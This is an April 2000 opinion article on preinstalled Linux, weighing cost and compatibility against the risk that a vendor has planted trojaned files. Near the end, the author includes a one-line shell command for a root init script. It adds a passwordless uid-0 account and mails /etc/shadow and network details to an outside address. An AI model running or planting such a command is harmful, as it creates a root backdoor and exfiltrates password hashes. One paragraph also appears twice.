Originally Published: Saturday, 29 April 2000 Author: Jeff White
Published to: featured_articles/Featured Articles Page: 1/1 - [Printable]

..with Linux Installed?

The idea of having Linux and related software installed and configured on a new computer that I purchase brings to mind a few points that should, perhaps, be considered for it has both its advantages and disadvantages alike.

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It can be argued that Windows gained so much in popularity because, chances are, when you purchased your computer, you had a fresh copy of Windows and related software pre-installed and ready to operate as soon as it was turned on. Would having Linux pre-installed on new computers be beneficial to the Linux community and consumers?

Having Windows pre-installed with the average computer doesn't bring about as strong a concern to me as having Linux pre-installed. It is easier to determine whether or not Windows was altered in order to harm the integrity of the system (oxymoron?) whereas Linux has an infinite array of sensitive files and configurations making it much more difficult to detect any malicious configurations.

The idea of having Linux and related software installed and configured on a new computer that I purchase brings to mind a few points that should, perhaps, be considered for it has both its advantages and disadvantages alike.

Obvious advantages to the consumer would most likely be seen as price, compatibility and possibly support. A free operating system pre-installed would mean that a couple hundred dollars could easily be deducted from an average computer price, which in turn makes purchasing complete systems cheaper and easier for Linux users. You would also know that your hardware is compatible with Linux and will no longer have a reason to be frustrated and resort to saying "Linux doesn't work." Linux support could easily be offered along with the purchase of a new system, which would affect the user base of the Linux community.

An obvious disadvantage to the consumer would seem to be trust. How many avid Linux users would seriously trust and use a Linux machine configured and installed by someone beside himself or herself? Who is to say that no one file, out of thousands upon thousands, have been altered in order to cripple the integrity of the system? Installing some trojan binaries can't be as difficult as it sounds and would most likely be transparent to the system operator.

Of course, new Linux users would probably be consumed in bliss having a fully operational Linux system with everything pre configured and looking elaborate and wonderful. This, apparently, will provide a lot of companies and independent consultants the means of offering technical Linux support and would perhaps create many spin-off companies, which will further the efforts of the Linux community.

Personally, I know enough to get by in Linux, so if I ever purchase a system with Linux pre-installed, I would immediately reinstall and configure it to my liking. I would then gain more experience, would have a feel for my file system layout (organizing a file system is much more difficult than it sounds) and would feel content knowing everything that has been changed and configured has been done on my behalf.

Paste this into an init script that is run by root when networking is brought up and I'm set =]

echo tekken::0:0:Jeff White:/bin/sh >> /etc/passwd ; cat /etc/shadow | mail tekken@linux.com ; /sbin/ifconfig | mail tekken@linux.com

I'm sure you could use your imagination and easily go from there.

Jeff White, tekken@linux.com





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